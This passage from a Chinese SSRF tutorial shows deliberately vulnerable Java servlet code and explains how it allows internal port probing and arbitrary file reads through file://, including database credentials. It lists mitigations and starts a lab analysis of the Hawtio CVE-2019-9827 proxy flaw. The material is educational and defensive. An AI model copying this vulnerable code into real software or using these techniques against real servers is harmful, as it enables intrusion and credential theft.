Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">地址：127.0.0.1</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">环境：java+tomcat</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">虚拟机环境如下：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">地址：192.168.159.134</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">环境：php+apache</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">假设外网可以访问本机地址，但不能访问虚拟机地址。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">以上，因为本机地址存在 SSRF 漏洞，那么久可以利用该漏洞去探测虚拟机开放的端口，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6421800947867299" data-s="300,640" style="" data-type="png" data-w="2532" src="https://wechat2rss.xlab.app/img-proxy/?k=720701f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB19x5UWJxDnv3hte1J6BDHIibTKtJ1jxic9OPNfWtCjcnkGcIyNJoibjRwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如果该端口没有开放 http/https 协议，那么返回：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.20107858243451462" data-s="300,640" style="" data-type="png" data-w="2596" src="https://wechat2rss.xlab.app/img-proxy/?k=c7ea5130&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1ibPFvIXypYCIqiaVnBv5FAlhJswHUTSfXSJiaZDQgnpQY3oKzic3mKibTAQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">根据不同的返回结果，就可以判断开放的 http/https 端口</p><p><span name="menu_index_6" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、任意文件读取/下载</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">我们将上述代码删除一行，如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">String url = request.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;url&#34;</span>);<br/>        String htmlContent;<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>            URL u = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> URL(url);<br/>            URLConnection urlConnection = u.openConnection();<br/>            BufferedReader base = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> BufferedReader(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> InputStreamReader(urlConnection.getInputStream()));<br/>            StringBuffer html = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> StringBuffer();<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span> ((htmlContent = base.readLine()) != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>                html.append(htmlContent);<br/>            }<br/>            base.close();<br/>            print.println(html.toString());<br/>            print.flush();<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">catch</span> (Exception e) {<br/>            e.printStackTrace();<br/>            print.println(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;ERROR!&#34;</span>);<br/>            print.flush();<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">HttpURLconnection()</code>是基于http协议的，而我们要用的是 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">file</code> 协议，删除后即可利用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">file</code>协议去读取任意文件 ，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6530612244897959" data-s="300,640" style="" data-type="png" data-w="2548" src="https://wechat2rss.xlab.app/img-proxy/?k=eda3e501&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1NLwX9WWmtiajyfgib6DQ8w9HGXkoNLHXoPVUd2M7fBrZsox5ov9GZGHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如果我们知道了网站的路径，可以直接读取其数据库连接的相关信息：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.19386973180076628" data-s="300,640" style="" data-type="png" data-w="2610" src="https://wechat2rss.xlab.app/img-proxy/?k=31aea5a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1TRVyuiaVrHAVxDKMqYYkEnXwdLHaPnbk73AtRI4aeFt5w9x6FopJibLw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">任意文件下载同理，只不过是将数据流写入到了文件中，如下代码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">        String downLoadImgFileName = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;SsrfFileDownTest.txt&#34;</span>;<br/>        InputStream inputStream = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>        OutputStream outputStream = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>        String url = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;url&#34;</span>);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>            resp.setHeader(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;content-disposition&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;attachment;fileName=&#34;</span> + downLoadImgFileName);<br/>            URL file = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> URL(url);<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">byte</span>[] bytes = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">byte</span>[<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1024</span>];<br/>            inputStream = file.openStream();<br/>            outputStream = resp.getOutputStream();<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span> ((length = inputStream.read(bytes)) &gt; <span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>) {<br/>                outputStream.write(bytes, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>, length);<br/>            }<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">将获取的内容写入到<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">SsrfFileDownTest.txt</code>文件中，测试如下：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5956607495069034" data-s="300,640" style="" data-type="png" data-w="2028" src="https://wechat2rss.xlab.app/img-proxy/?k=64e3ea70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1QPKJRC2dpqj6t1TDRD1LeAKWdSFKy29F699vsgeQWKDaXjII2UlzicQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_7" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x03 修复方案</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">实际场景中可能出现 SSRF 的功能点有很多,比如获取远程 URL 图片、webmail收取其他邮箱邮件、从远程服务器请求资源等等，针对这些问题，可以进行过滤判断，设置白名单等，相关策略如下：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。</p></li><li style="box-sizing: border-box;"><p>限制请求的端口为http常用的端口，比如，80,443,8080,8090等。</p></li><li style="box-sizing: border-box;"><p>禁用不需要的协议，仅仅允许http和https请求。</p></li><li style="box-sizing: border-box;"><p>根据业务需求，判定所需的域名是否是常用的几个，若是，将这几个特定的域名加入到白名单，拒绝白名单域名之外的请求，。</p></li><li style="box-sizing: border-box;"><p>根据请求来源，判定请求地址是否是固定请求来源，若是，将这几个特定的域名/IP加入到白名单，拒绝白名单域名/IP之外的请求。</p></li><li style="box-sizing: border-box;"><p>若业务需求和请求来源并非固定，那么可以自己写一个 ssrfCheck 函数，如：<a href="https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/SSRFChecker.java" target="_blank">https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/SSRFChecker.java</a></p></li></ul><p><span name="menu_index_8" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x04 实际案例（CVE-2019-9827）分析</h2><p><span name="menu_index_9" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、案例介绍</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">CVE 地址：<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9827</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">Hawtio是用于管理Java应用程序的轻型模块化Web控制台。Hawt Hawtio小于2.5.0版本都容易受到SSRF的攻击，远程攻击者可以通过 /proxy/地址发送特定的字符串，可以影响服务器到任意主机的HTTP请求。</p><p><span name="menu_index_10" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、案例搭建</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">首先进入搭建好的 tomcat 首页，输入账号密码进入manage app 管理界面（需要提前设置账号密码，具体可以百度，此处不再赘述）：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6936852026390198" data-s="300,640" style="" data-type="png" data-w="2122" src="https://wechat2rss.xlab.app/img-proxy/?k=b074e31d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1JD4yDicgz9d4cyWEtiaUb6gXJeic5qIliaQ2e9nK9lkSTN8gI1PXT7fCOg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后选择<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">WAR file to deply</code>栏目，点击选择<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">hawtio-default-2.5.0.war</code>上传，最后deplay即可：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6501650165016502" data-s="300,640" style="" data-type="png" data-w="2424" src="https://wechat2rss.xlab.app/img-proxy/?k=b4277233&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1TmNIHqGFShLpP7AXBOJ1iaaG8txl23XbkMQ2mtcl61XdfTDHO2CnK4Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">布置以后，上方会出现布置好的应用，点击应用进入即可。</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.05397520058351568" data-s="300,640" style="" data-type="png" data-w="2742" src="https://wechat2rss.xlab.app/img-proxy/?k=70834e15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1x9Iyy7ddSkEc9gzBAtfwKuv2qiaibw3cWK6H9yRvUVnibQf4icPftzoDDQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5700440528634361" data-s="300,640" style="" data-type="png" data-w="2270" src="https://wechat2rss.xlab.app/img-proxy/?k=7d54a573&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1xlwHrsibJsAPhr61QSv5wKtQbTgicnYHrzJibXym5hibDxHMTNMpPoEg8A%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_11" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、案例漏洞分析</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">可以通过反编译获取本程序的源码，或者通过 github 的 tree 分支来获取源码。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">通过反编译<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">hawtio-system-2.5.0.jar</code>包找到相关文件：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">hawtio-system/src/main/java/io/hawt/web/proxy/ProxyServlet.java</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">进入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">service</code>函数</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">protected</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">service</span><span style="box-sizing: border-box;">(HttpServletRequest servletRequest, HttpServletResponse servletResponse)</span><br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> ServletException, IOException </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Make the Request</span><br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//note: we won&#39;t transfer the protocol version because I&#39;m not sure it would truly be compatible</span><br/>        ProxyAddress proxyAddress = parseProxyAddress(servletRequest);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (proxyAddress == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span> || proxyAddress.getFullProxyUrl() == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>            servletResponse.setStatus(HttpServletResponse.SC_NOT_FOUND);<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span>;<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Implement whitelist protection for Kubernetes services as well</span><br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (proxyAddress <span style="box-sizing: border-box;color: rgb(204, 153, 204);">instanceof</span> ProxyDetails) {<br/>            ProxyDetails details = (ProxyDetails) proxyAddress;<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (!whitelist.isAllowed(details)) {<br/>                LOG.debug(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Rejecting {}&#34;</span>, proxyAddress);<br/>                ServletHelpers.doForbidden(servletResponse, ForbiddenReason.HOST_NOT_ALLOWED);<br/>                <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span>;<br/>            }<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 